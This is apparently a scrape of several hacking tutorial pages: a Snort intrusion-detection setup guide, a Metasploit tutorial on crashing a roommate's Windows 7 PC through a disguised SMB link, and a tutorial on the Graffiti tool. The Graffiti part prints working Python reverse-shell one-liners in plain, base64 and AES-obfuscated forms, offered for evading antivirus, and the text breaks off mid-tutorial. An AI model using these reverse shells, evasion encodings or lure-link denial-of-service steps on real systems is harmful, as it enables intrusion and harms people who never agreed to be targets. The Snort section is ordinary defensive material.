detection. The generate command has a slew of options available, ranging from the ability to restrict certain characters to encoding the payload with multiple iterations. Most of these options can be combined to create a payload that has a decent chance at bypassing antivirus software β€” a goal that should be on the mind of any would-be hacker.Don't Miss:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byinsspirito/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHacking macOS:How to Create an Undetectable PayloadHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHack Like a Pro:How to Evade AV Software with ShellterHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:How to Evade AV Detection with Veil-EvasionHow To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHow To:Simplify Payload Creation with MSFPC (MSFvenom Payload Creator)Hacking macOS:How to Hide Payloads Inside Photo MetadataHack Like a Pro:Exploring the Inner Architecture of MetasploitHow To:Create & Obfuscate a Virus Inside of a Microsoft Word DocumentHow To:Use Microsoft.com Domains to Bypass Firewalls & Execute PayloadsHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHacking macOS:How to Configure a Backdoor on Anyone's MacBookHacking Windows 10:How to Break into Somebody's Computer Without a Password (Exploiting the System)Hacking Windows 10:How to Break into Somebody's Computer Without a Password (Setting Up the Payload)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hacking Windows 10:How to Create an Undetectable Payload, Part 2 (Concealing the Payload)Hack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)How to Use PowerShell Empire:Generating Stagers for Post Exploitation of Windows HostsHow To:Security-Oriented C Tutorial 0xFB - A Simple CrypterHow To:Bypass Antivirus Using Powershell and Metasploit (Kali Tutorial)How To:Use Metasploit's Database to Stay Organized & Store Information While HackingHack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Embed a Backdoor in an Exe FileRainbow Tables:How to Create & Use Them to Crack Passwords
Hack Like a Pro: Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL) Β« Null Byte :: WonderHowTo
Welcome back, my hacker novitiates!If you have been following thisnew Snort series, you know that Snort is the world's most widely used intrusion detection/protection system. Now a part of the world's largest network equipment company, Cisco, it is likely to be found everywhere in one form or another. This makes a compelling argument for learning how to use it, as it will likely be a necessity in any security-related position.In the previous tutorials in this series, weinstalledandconfigured Snorton our Kali system. In this tutorial, we will be taking the next step in building a production-level, professional IDSβ€”getting intrusion notifications we can easily analyze.Snort has many capabilities and configurations, but we want an IDS that can be used in a secure, professional way to alert us of intrusions. To do so, we will need to send our alerts to a database where we can analyze them. We will be setting up a print spooler specifically designed for Snort calledBarnyard2and using it to send the data to a MySQL database.In the previous guides, I used Kali as my base OS. Unfortunately, some of the libraries necessary to run Barnyard2 do not work well on Kali. As a result, subsequent tutorials in this series will be with Ubuntu. Everything you have done up to this point in setting up Snort works well in Ubuntu without modification. In reality, this makes much more sense as you wouldnotlikely be using an attack system like Kali as your server for Snort in a production environment.Why Barnyard2?Converting binary data to a human-readable form (usually binary-to-ASCII) is very CPU-intensive for any application. This is particularly true for Snort, and since we want to dedicate as much of our resources to packet capture and analysis as possible, we would like to lay off as much of these CPU-intensive tasks as we can. That's what Barnyard2 is designed for.In a production environment, we want to send the event data from Snort to a database. Snort is capable of using any ODBC database such as Oracle, Microsoft's SQL Server, PostgreSQL, and MySQL. Here we will be using MySQL as this is the most common configuration for Snort. If we can send the alerts to a database, then we can query the database with another tool to be able to make sense of this information. For instance, we can query for what rules were alerted on, what IP addresses did the attacks come from, what severity level were the intrusions, etc.Here, we will configure Snort to process its alerts in binary formβ€”it's simplest and least CPU-intensive formβ€”and then use Barnyard2 to read these events, convert to human-readable form, and place them into a MySQL database.I want to note before we proceed that Snort will work without Barnyard2, but it will slow down its functioningβ€”and potentially not process and analyze some packets in a busy environmentβ€”which may be dangerous.Step 1: Install Barnyard PrerequisitesBefore we begin, we need to install some libraries and applications that are Barnyard2 prerequisites.ubuntu > sudo apt-get install -y mysql-server libmysqlclient-dev mysql-client autoconf libtoolubuntu > sudo apt-get install libpcap-dev libmysql-dev libprelude-devStep 2: Install GitWe will be downloading and installing the latest version of Barnyard2 fromGitHub. If you don't already havegiton your system, you will need to install it now.ubuntu> sudo apt-get updateubuntu> sudo apt-get install gitStep 3: Edit Snort's Configuration FileTo direct our alerts to a database, we will need to edit thesnort.conffile. Open it with any text editor and go to the output section (section #6). There, we will be telling Snort to use our MySQL database (that we will be creating later in this tutorial with the username and password of your choice).In this example, I have used some simple selections for the database name, user, and password, allsnort. Of course, replace those with your own selections (see Step 6 below).Step 4: Download Barnyard2Barnyard2 is a print spooler than reduces the overhead of the Snort daemon to write the alerts to a human-readable form. Instead, it allows Snort to write these alerts in the far more efficient binary form, then Barnyard2 takes those binary files and converts them to a human-readable form. Lastly, it places them in a MySQL database for later analysis.Let's go ahead and get Barnyard2 from GitHub.ubuntu > git clone git://github.com/firnsy/barnyard2.gitNow, let's check to see whether it was downloaded and installed by doing along listingon this directory.ubuntu > ls -lAs you can see, it has created a directory namedbarnyard2. Let's navigate to it and list its contents.ubuntu > cd barnyard2ubuntu > ls -lNotice the very first file namedautogen.sh. Let's execute that script.ubuntu > ./autogen.shNext, type the following line.ubuntu > CFLAGS = '-lpthread'Then, run the appropriate configure command for your system.If you are using a 64-bit architectureβ€”and I hope you areβ€”this is the appropriate configure command:ubuntu> ./configure --with-mysql-libraries=/usr/lib/x86_64-linux-gnu --prefix=$HOME/barnyard2-installIf you are using a 32-bit architecture, then the configure command changes slightly to:ubuntu > ./configure --with-mysql-libraries=/usr/lib/i386-linux-gnu --prefix=$HOME/barnyard2-installThere is one more library that Ubuntu needs for Barnyard2 calledlibdumbnet-dev. Let's get it from the repository.sudo apt-get install libdumbnet-devBecause themakescript for Barnyard2 is expecting the dependency file nameddnet.h, we need to create a symbolic link betweendumbnet.handdnet.h(the file names changed since the script was written).ubuntu > ln -s /usr/include/dumbnet.h /usr/include/dnet.hThen, update the libraries.ubuntu> sudo ldconfigNow, we can make Barnyard2.ubuntu > makeFinally, we need to make and install.ubuntu > sudo make installStep 5: Configure Barnyard2We need to do some basic configuration on Barnyard2 to make certain it runs properly. First, we need to copy Barnyard2's configuration file to the/etc/snortdirectory.ubuntu > sudo cp /snort_source /etc/barnyard2.conf /etc/snortNow we need to create a file that Barnyard2 needs in thevar/logdirectory. This is the bookmark file.ubuntu > touch /var/log/snort/barnyard2.waldoStep 6: Set Up MySQLNow that Barnyard2 is installed, compiled, and configured, we need to set up MySQL to receive the alerts. To do so, we need to:create a databasecreate a database schema for the alertscreate a usergrant the user the appropriate privilegesLet's start by logging into the MySQL database system.ubuntu > sudo mysql -u root -pWhen prompted for a password, entersnort.You are now in the MySQL system and should receive a MySQL prompt. Let's create a database for the Snort system to use.mysql > create database snort;(Note thatsnorthere is simply the name of the database we will be storing our alerts in. It could be named anything, but let's make it easy to remember.)Then let's tell the system we want to use that database.mysql > use snort;Barnyard2 comes with a script to create the schema for the Snort database. It is at/snort_source/barnyard2/schemas/create_mysql. We can run the script by typing:mysql > /snort_source/barnyard2/schemas/create_mysqlNext, we need to create a user for the snort database in MySQL.mysql > CREATE USER 'snort'@'localhost' IDENTIFIED BY 'snort'This command creates a usersnorton the localhost server that uses the passwordsnort. The name of the user and password can vary, but must be consistent with what you entered into thesnort.conffile in Step 3 above.Now to give that user the necessary permissions.mysql > grant create, insert, select, delete, update on snort.* to 'snort'@'localhost';This gives the usersnortthe rights to create objects, insert data, select data, delete data, and update data in the databasesnortat localhost.That's it! Now we have set up Snort to send its alerts to a file where Barnyard2 will pick them up, convert them to human-readable form, and place them in our Snort database in MySQL.In future tutorials in this series, we will begin sending the alerts to the database and analyzing those alerts, so keep coming back, my hacker novitiates!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Evade a Network Intrusion Detection System (NIDS) Using SnortHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 2 (Setting Up the Basic Configuration)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)Hack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)Hack Like a Pro:Snort IDS for the Aspiring Hacker, Part 1 (Installing Snort)Hack Like a Pro:How to Create Your Own PRISM-Like Spy ToolHack Like a Pro:An Introduction to Regular Expressions (Regex)Hack Like a Pro:How to Read & Write Snort Rules to Evade an NIDS (Network Intrusion Detection System)How To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsHack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)Hack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHack Like a Pro:An Introduction to Regular Expressions, Part 2How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:How to Compile a New Hacking Tool in KaliHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How to Hack Databases:Hacking MySQL Online Databases with SqlmapHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:Detect network intrusions with Wireshark and SnortHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 16 (Stdin, Stdout, & Stderror)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)How to Hack Databases:Extracting Data from Online Databases Using SqlmapHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 1How To:The Five Phases of HackingHack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapNews:DIY Laser Tripwire System That Tweets Whenever Sharks Swim PastIPsec Tools of the Trade:Don't Bring a Knife to a GunfightGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingHack Logs and Linux Commands:What's Going On Here?News:FarmVille Orchard and Tree Gifting LinksNews:Personalized Orchard Request Links for FarmvilleNews:The 7 Best Secret Features of iOS 5Goodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking Simulations
Hack Like a Pro: How to Crash Your Roommate's Windows 7 PC with a Link Β« Null Byte :: WonderHowTo
In myfirst few articles, we focused on operating system hacks. These hacks have been primarily on older operating systems such as Windows XP, Windows Vista, and Windows Server 2003.Although these operating systems were first released, in some cases, almost 10 years ago, they are still in wide use. I have done consulting to many large corporations and institutions and am always surprised to see Windows XP systems still being used. On the other, I'm never surprised to see Windows Server 2003, as server operating systems get upgraded much less often.Operating system hacks can be fun, especially when they come at the expense of that software behemoth Microsoft, but they are becoming increasingly rare as Microsoft pays more attention to security. That is one of the reasons that more and more attacks are centered upon the client-side application software instead of the OS.Crashing Your Roommate's Windows 7 ComputerBefore we move on to client-side application hacks, I want to do at least one more operating system hack. Vulnerabilities still exist in the new operating systems, but they are becoming rarer and rarer. With so many vulnerabilities in client-side applications, why would you want to spend a lot of time on the OS?In this hack, we will take advantage of a flaw in Windows 7 and Windows Server 2008 operating systems that will create an infinite loop and crash the system. Although this isn't nearly as much fun as owning the system, it can be very destructive to an institution that relies upon this system to run their organization.Enough talk, let's get started. Fire up your Metasploit on Back Track 5 and let's hack! If you're new to Metasploit, check outmy article on getting started with it, as well assome of the past hacks.Step 1: A Little Background MaterialRemember thatMetasploithas six types of modules, exploits, payloads, auxiliary, encoders, NOPs and post. In this hack, we will use an auxiliary module to attack the Windows 7 or Windows Server 2008 system's SMB.msf> use auxiliary/dos/windows/smb/ms10_negotiate_response_loopStep 2: Show OptionsNow that we have selected our module, let's look at our options:msf> auxiliary(ms10_negotiate_response_loop) show optionsAs we can see in the screenshot below, the only option we need to set is SVRHOST, which is ourβ€”the attacker'sβ€”system. In my case, it is 192.168.1.100. Yours may be different; check your IP address by typing ifconfig in a terminal.Step 3: Set SVRHOSTNext, set your SVRHOST by typing:msf > auxiliary(ms10_negotiate_response_loop) set SVRHOST 192.168.1.100Step 4: RunIn the last step, we run the auxiliary module and once the module executes, it generates a shared folder link which you can send to the target machine. In this case, the link is \\192.168.1.100\Shared\Anything.msf > auxiliary(ms10_negotiate_response_loop) runStep 5: Making an Attractive LinkMetasploit then starts the malicious SMB service and when the target clicks on the link, the target system will begin to run an infinite loop, freeze, and crash.To make the link look safe and more inviting, we might try crafting a webpage and attaching this link to it. Sending this link with an email that says something like "Hey, check out this sick video!" When the victim clicks on the link to view the "video", their system crashes.In my next few hacks, we will start looking at attacking the many vulnerable client-side applications. Happy hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image fromTechnosamratRelatedNews:Top 10 Pranks for the College Freshman DormHack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHow To:Cast Your Samsung Galaxy's Screen to Your Windows PCHow To:Use Your Android Device as a Second Monitor for Your Windows PCHow To:Mirror & Control Your Android's Screen on Your Windows PCHow To:Hack Windows 7 (Become Admin)How To:Create System Image Backup in Windows 7How To:Throw water balloons and snow balls fast in YoVilleHow To:Bring Back Microsoft's Classic, No-Bloat Games to Windows for FreeHow To:Play Your Steam Library Anywhere β€” Even on Mobile DataHow To:How Anyone (Even Pirates) Can Get Windows 10 for Freeβ€”LegallyNews:If You Can't Open Your iPhone's Photos on a PC, Try This AppHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHow To:See Your Android Notifications on Your Windows PCHow To:The Fastest Way to Transfer Photos & Videos from Your iPhone to Your Windows 10 PCHow To:Bored with Your Surface Pro? BlueStacks Lets You Run Any Android App on Windows 8How To:Optimize a Microsoft Windows 7 PC for Pro Tools 8How To:Stream PC Games to Your Phone Using AMD LinkHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:Get Nokia's Exclusive Camera App with Pro Mode on Any AndroidHow To:Fully Control Your Android Device from Any ComputerHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow To:Use the PC Backup & Restore features in Windows VistaHow To:Choose between a desktop computer and laptop when buying a Windows PCNews:Free Alternatives to Pushbullet Pro FeaturesHow To:Get a Free PC Version of Metro 2033 for Liking the New Metro: Last Night Game on FacebookWTFoto News Scoop Sundays:Wrath of the Religious RoommateNews:The Roommate (2011)News:A WORD TO THE WISE ABOUT REMOVING INTERNET EXPLORERNews:"Desktop, PC, Online Experience, ALL Enhanced Ten-Fold..."How To:Create Windows 7 GodModeNews:Sleeping Roommate Face SmashNews:Stop Windows Update from Shutting Down Your Computer
Bypass Antivirus Software by Obfuscating Your Payloads with Graffiti Β« Null Byte :: WonderHowTo
It's exciting to get that reverse shell or execute a payload, but sometimes these things don't work as expected when there are certain defenses in play. One way to get around that issue is by obfuscating the payload, and encoding it using different techniques will usually bring varying degrees of success. Graffiti can make that happen.Graffiti is a tool that cangenerate obfuscated payloadsusing a variety of different encoding techniques. It offers an array of one-liners and shells in languages such asPython, Perl,PHP, Batch,PowerShell, and Bash. Payloads can be encoded using base64, hex, and AES256, among others. It also features two modes of operation: command-line mode and interactive mode.Don't Miss:How to Create an Undetectable Payload for Windows 10 SystemsOther useful features of Graffiti include the ability to create your own payload files, terminal history, option to run native OS commands, and tab-completion in interactive mode. Graffiti should work out of the box onLinux,Mac, andWindows, and it can be installed to the system as an executable on both Linux and Mac. We will be usingKali Linuxto explore the tool below.Setup & InstallationTo get started, let's clone into theGitHub repo for Graffitiusing thegitcommand:~# git clone https://github.com/Ekultek/Graffiti Cloning into 'Graffiti'... remote: Enumerating objects: 212, done. remote: Total 212 (delta 0), reused 0 (delta 0), pack-reused 212 Receiving objects: 100% (212/212), 41.27 KiB | 768.00 KiB/s, done. Resolving deltas: 100% (108/108), done.Next, change into the new directory:~# cd Graffiti/And list the contents to verify everything is there:~/Graffiti# ls coders conf.json etc graffiti.py install.sh lib main README.mdWe can run the tool with thepythoncommand β€” let's see the help menu by tacking on the-hswitch:~/Graffiti# python graffiti.py -h usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD] [--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS] [-l] [-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]] [-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC] [-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]] [-Vc] optional arguments: -h, --help show this help message and exit -c CODEC, --codec CODEC specify an encoding technique (*default=None) -p PAYLOAD, --payload PAYLOAD pass the path to a payload to use (*default=None) --create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS create a payload file and store it inside of ./etc/payloads (*default=None) -l, --list list all available payloads by path (*default=False) -P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]] pass your own personal payload to use for the encoding (*default=None) -lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS pass a listening address to use for the payload (if needed) (*default=None) -lP LISTENING-PORT, --lport LISTENING-PORT pass a listening port to use for the payload (if needed) (*default=None) -u URL, --url URL pass a URL if needed by your payload (*default=None) -vC, --view-cached view the cached data already present inside of the database -H, --no-history do not store the command history (*default=True) -W, --wipe wipe the database and the history (*default=False) --memory initialize the database into memory instead of a .db file (*default=False) -mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...] pass more external commands, this will allow them to be accessed inside of the terminal commands must be in your PATH (*default=None) -Vc, --view-codecs view the current available encoding codecs and their compatible languagesHere, we get its usage information and optional arguments that are available.An easier way to use Graffiti is to install it onto the system. That way, we don't need to be in the directory to run it β€” it can be executed from anywhere. Simply launch the install script to begin:~/Graffiti# ./install.sh starting file copying.. creating executable editing file stats installed, you need to run: source ~/.bash_profileIt tells us we need to run thesourcecommand on our bash profile to complete the installation β€” the source command basically loads any functions in the current shell:~/Graffiti# source ~/.bash_profileNow we should be able to run the tool from anywhere by typinggraffitiin the terminal:~# graffiti -h usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD] [--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS] [-l] [-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]] [-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC] [-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]] [-Vc] optional arguments: -h, --help show this help message and exit -c CODEC, --codec CODEC specify an encoding technique (*default=None) -p PAYLOAD, --payload PAYLOAD pass the path to a payload to use (*default=None) --create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS create a payload file and store it inside of ./etc/payloads (*default=None) -l, --list list all available payloads by path (*default=False) -P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]] pass your own personal payload to use for the encoding (*default=None) -lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS pass a listening address to use for the payload (if needed) (*default=None) -lP LISTENING-PORT, --lport LISTENING-PORT pass a listening port to use for the payload (if needed) (*default=None) -u URL, --url URL pass a URL if needed by your payload (*default=None) -vC, --view-cached view the cached data already present inside of the database -H, --no-history do not store the command history (*default=True) -W, --wipe wipe the database and the history (*default=False) --memory initialize the database into memory instead of a .db file (*default=False) -mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...] pass more external commands, this will allow them to be accessed inside of the terminal commands must be in your PATH (*default=None) -Vc, --view-codecs view the current available encoding codecs and their compatible languagesOption 1: Use Graffiti in Command-Line ModeThe first way to run Graffiti is in normal command-line mode. All we have to do is pass the arguments after the command, just like you would with any other tool or script. For example, we can list all availablepayloadswith the-lswitch:~# graffiti -l Windows payloads: /windows/batch/nc_bind.json /windows/batch/certutil_exe.json /windows/batch/nc_reverse.json /windows/batch/sync_appv.json /windows/python/socket_reverse.json /windows/powershell/keylogger.json /windows/powershell/escalate_service.json /windows/powershell/meterpreter_shell.json /windows/powershell/cleartext_wifi.json /windows/perl/socket_reverse.json /windows/ruby/socket_reverse.json Linux payloads: /linux/python/socket_reverse.json /linux/php/socket_reverse.json /linux/perl/socket_reverse.json /linux/ruby/socket_reverse.json /linux/bash/subdomain_enum_crt.json /linux/bash/netcat_reverse.json /linux/bash/download_linux_exploit_suggester.json /linux/bash/pipe_reverse.json /linux/bash/subdomain_enum_archive.json /linux/bash/suid.json /linux/bash/download_checkers.json /linux/bash/netcat_binder.json /linux/bash/download_nmap_scripts.json /linux/bash/download_linux_priv_checker.json /linux/bash/bash_reverse.jsonWe can see there are options forNetcat shells, Python shells, and many others, separated between Windows and Linux.We can use the-Vcoption to view the available encoders and the corresponding languages they're available for:~# graffiti -Vc CODEC: ACCEPTABLE: aes256 python atbash python xor php,python base64 powershell,php,python,perl,ruby,bash,batch hex powershell,php,python,perl,ruby,bash,batch raw powershell,php,python,perl,ruby,bash,batch rot13 python,ruby,phpThe-pswitch is the bread and butter of Graffiti β€” use it to specify a payload, followed by-cto specify the encoding technique, and finally-lHand-lPto set the listening address and port, respectively. Here is a Python reverse shell in raw format, meaning no encoding:~# graffiti -p /linux/python/socket_reverse.json -c raw -lH 10.10.0.1 -lP 4321 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'That will spit out the command for the appropriatereverse shellwith all the information filled in. All we need to do at this point is copy and paste.Let's try another example. Here is that same Python reverse shell encoded in base64:~# graffiti -p /linux/python/socket_reverse.json -c base64 -lH 10.10.0.1 -lP 4321 python -c 'exec("aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjAuMSIsNDMyMSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7".decode("base64"))'And again, this time using the AES256 cipher:~# graffiti -p /linux/python/socket_reverse.json -c aes256 -lH 10.10.0.1 -lP 4321 # be sure that the target has PyCrypto on their system! python -c 'import base64;from Crypto import Random;from Crypto.Cipher import AES;from Crypto.Util import Counter;ct=base64.b64decode("7mC355qybpwkZRVMOGKbHBNqNKFwVbBcpgBZ0cwQlNT6sAF3YwLN9DmIFph4GCRHFVEghR8xTeWIulP3MOpPAI869iFn5FzX3Y32m9tGqiVzvL0tO0NTU2gQXTAauni+8p0+Au/fxjgX8AwpuJOl7lIPFxVHTk/zRLu0mg257OknhKgJxuQgUM5SrXG+XJcg1BRohs0AHJSGjLQs0oqfBxV4WPLLMVQHP76DJHTndgakXf0cHhbkJa+J6umbjMaG+6ZbJSz/7SQo+9XWzTGNU5w80/KP");dk=base64.b64decode("gGhVa2B/DPmOp1tfIL2AhdyVyTapvpgtkCLFZ4WL0OU=");iv=base64.b64decode("VSUepHglfitT7q08vuekMA==");ivi=int(iv.encode("hex"),16);co=Counter.new(AES.block_size*8,initial_value=ivi);a=AES.new(dk,AES.MODE_CBC,counter=co);r=a.decrypt(ct);exec(str(r))'Instead of going back and running these commands again, Graffiti keeps a cache of payloads for easy access β€” use the-vCoption to see them:~# graffiti -vC total of 3 payloads present Language: python Payload Type: reverse Payload: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' Language: python Payload Type: reverse Payload: python -c 'exec("aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjAuMSIsNDMyMSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7".decode("base64"))' Language: python Payload Type: reverse Payload: python -c 'import base64;from Crypto import Random;from Crypto.Cipher import AES;from Crypto.Util import Counter;ct=base64.b64decode("7mC355qybpwkZRVMOGKbHBNqNKFwVbBcpgBZ0cwQlNT6sAF3YwLN9DmIFph4GCRHFVEghR8xTeWIulP3MOpPAI869iFn5FzX3Y32m9tGqiVzvL0tO0NTU2gQXTAauni+8p0+Au/fxjgX8AwpuJOl7lIPFxVHTk/zRLu0mg257OknhKgJxuQgUM5SrXG+XJcg1BRohs0AHJSGjLQs0oqfBxV4WPLLMVQHP76DJHTndgakXf0cHhbkJa+J6umbjMaG+6ZbJSz/7SQo+9XWzTGNU5w80/KP");dk=base64.b64decode("gGhVa2B/DPmOp1tfIL2AhdyVyTapvpgtkCLFZ4WL0OU=");iv=base64.b64decode("VSUepHglfitT7q08vuekMA==");ivi=int(iv.encode("hex"),16);co=Counter.new(AES.block_size*8,initial_value=ivi);a=AES.new(dk,AES.MODE_CBC,counter=co);r=a.decrypt(ct);exec(str(r))'We can also wipe the history with the-Wswitch:~# graffiti -W wiping the database and the history files database and history files wipedOption 2: Use Graffiti in Interactive ModeThe other way to run Graffiti is in its interactive mode, which comes with a built-in terminal environment. Simply run the tool without any arguments to drop in:~# graffiti ________ _____ _____.__ __ .__ / _____/___________ _/ ____\/ ____\__|/ |_|__| / \ __\_ __ \__ \\ __\\ __\| \ __\ | \ \_\ \ | \// __ \| | | | | || | | | \______ /__| (____ /__| |__| |__||__| |__| \/ \/ v(0.0.10) no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal Traceback (most recent call last): File "graffiti.py", line 5, in <module> main() File "/root/.graffiti/.install/etc/main/main.py", line 10, in main Parser().single_run_args(parsed_config, cursor) File "/root/.graffiti/.install/etc/lib/arguments.py", line 182, in single_run_args ).do_start(conf["graffiti"]["saveCommandHistory"]) File "/root/.graffiti/.install/etc/lib/terminal_display.py", line 290, in do_start self.reflect_memory() File "/root/.graffiti/.install/etc/lib/terminal_display.py", line 77, in reflect_memory with open(self.full_history_file_path) as history: IOError: [Errno 2] No such file or directory: '/root/.graffiti/.install/etc/.history/2019-11-14/graffiti.history'If you receive the error above, all you have to do is create a new history file in the appropriate directory β€” use thetouchcommand like so:~# touch .graffiti/.install/etc/.history/2019-11-14/graffiti.historyNow when we run it, we successfully enter the interactive mode, which will come with its own prompt:~# graffiti ________ _____ _____.__ __ .__ / _____/___________ _/ ____\/ ____\__|/ |_|__| / \ __\_ __ \__ \\ __\\ __\| \ __\ | \ \_\ \ | \// __ \| | | | | || | | | \______ /__| (____ /__| |__| |__||__| |__| \/ \/ v(0.0.10) no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal root@graffiti:~/graffiti#To see the help menu, typehelpor?at the prompt:root@graffiti:~/graffiti# ? Command Description --------- -------------- help/? Show this help external List available external commands cached/stored Display all payloads that are already in the database list/show List all available payloads search <phrase> Search for a specific payload use <payload> <coder> Use this payload and encode it using a specified coder info Get information on all the payloads check Check for updates history/mem[ory] Display command history exit/quit Exit the terminal and running session encode <script-type> <coder> Encode a provided payload check Check for updatesWe can check if we have the latest version of the tool by running thecheckcommand:root@graffiti:~/graffiti# check From 